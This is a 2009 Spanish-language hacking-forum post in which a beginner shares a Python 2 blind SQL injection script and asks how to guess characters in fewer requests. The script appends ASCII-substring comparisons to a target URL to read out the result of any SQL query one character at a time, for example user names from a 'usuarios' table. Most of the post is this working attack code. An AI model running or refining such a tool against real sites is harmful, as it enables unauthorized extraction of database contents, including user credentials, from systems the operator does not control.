Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: nacho87 en 24 Septiembre 2009, 12:11 pm



Título: [python] Script Blind Sql Injection
Publicado por: nacho87 en 24 Septiembre 2009, 12:11 pm
Hola! He hecho un pequeño script para sacar datos de una blind SQL injection en python pero me gustaría que me dierais algun consejo y sugerencia. El script es éste:
Código
  1. #!/usr/bin/python
  2. # -*- coding: iso-8859-1 -*-
  3.  
  4. import re
  5. import urllib
  6. import urllib2
  7. import sys
  8. import cookielib
  9. from socket import ssl
  10.  
  11. ua = "Mozilla/5.0 (compatible; Konqueror/3.5.8; Linux)"
  12. h = {"User-Agent" : ua}
  13.  
  14. letra = [' ','!','\"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_','`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','{','|','~','~','~','~','~','~','~','~','~','~']
  15.  
  16. usage =  "\n\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
  17. usage += "usage: %s \"url\" \"consulta sql\"   \n" % sys.argv[0]
  18. usage += "ejemplo: %s \"wwww.host.com/a.php?c=1\" \"SELECT user FROM usuarios limit 0,1\"\n" %  sys.argv[0]
  19. usage += "\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
  20. if len(sys.argv) < 3:
  21. print usage
  22. exit()
  23.  
  24. hsh = urllib2.HTTPSHandler()
  25. cookie_h = urllib2.HTTPCookieProcessor()
  26. opener = urllib2.build_opener(cookie_h,hsh,urllib2.HTTPCookieProcessor())
  27. urllib2.install_opener(opener)
  28.  
  29. x = 1
  30. y = 45
  31.  
  32. url = sys.argv[1]
  33. param = sys.argv[2]
  34. sql = param.replace(" ", "%20")
  35.  
  36. def mayor():
  37. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))>"+str(ord(letra[y]))+"")                  
  38. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  39. return 1
  40. def menor():
  41. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))<"+str(ord(letra[y]))+"")
  42. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  43. return 1
  44. def salida():
  45. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))=0")
  46. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  47. return 1
  48. def acierto():
  49. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))="+str(ord(letra[y]))+"")
  50. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  51. return 1
  52.  
  53. try:
  54.    while True:
  55. if acierto():
  56. x += 1
  57. print letra[y]
  58. if salida():
  59. exit()
  60.  
  61. elif mayor():
  62. y += 10
  63. if mayor():
  64. y += 5
  65. elif menor():
  66. y -= 1
  67. elif acierto():
  68. x += 1
  69. print letra[y]
  70. else:
  71. if menor():
  72. y -= 7
  73. if menor():
  74. y -= 10
  75. elif mayor():
  76. y += 1
  77. elif acierto():
  78. x += 1
  79. print letra[y]
  80. else:
  81. print "error"
  82. exit()
  83.  
  84. except KeyboardInterrupt:
  85.     print "\n Cierro"
  86.  
  87.  
  88.  

Me gustaría que me hicierais alguna sugerencia sobre como encontrar con el menor número de intentos la letra correcta. La
forma en que lo hago es bastante rudimentaria y seguro que hay alguna más eficaz.
También me gustaría saber si hay alguna forma de que, al usar "print" me vaya sacando las letras que encuentra en la
misma línea.
Gracias!!

PD: no os riais mucho que estoy empezando con python y con la programación en general!! jeje.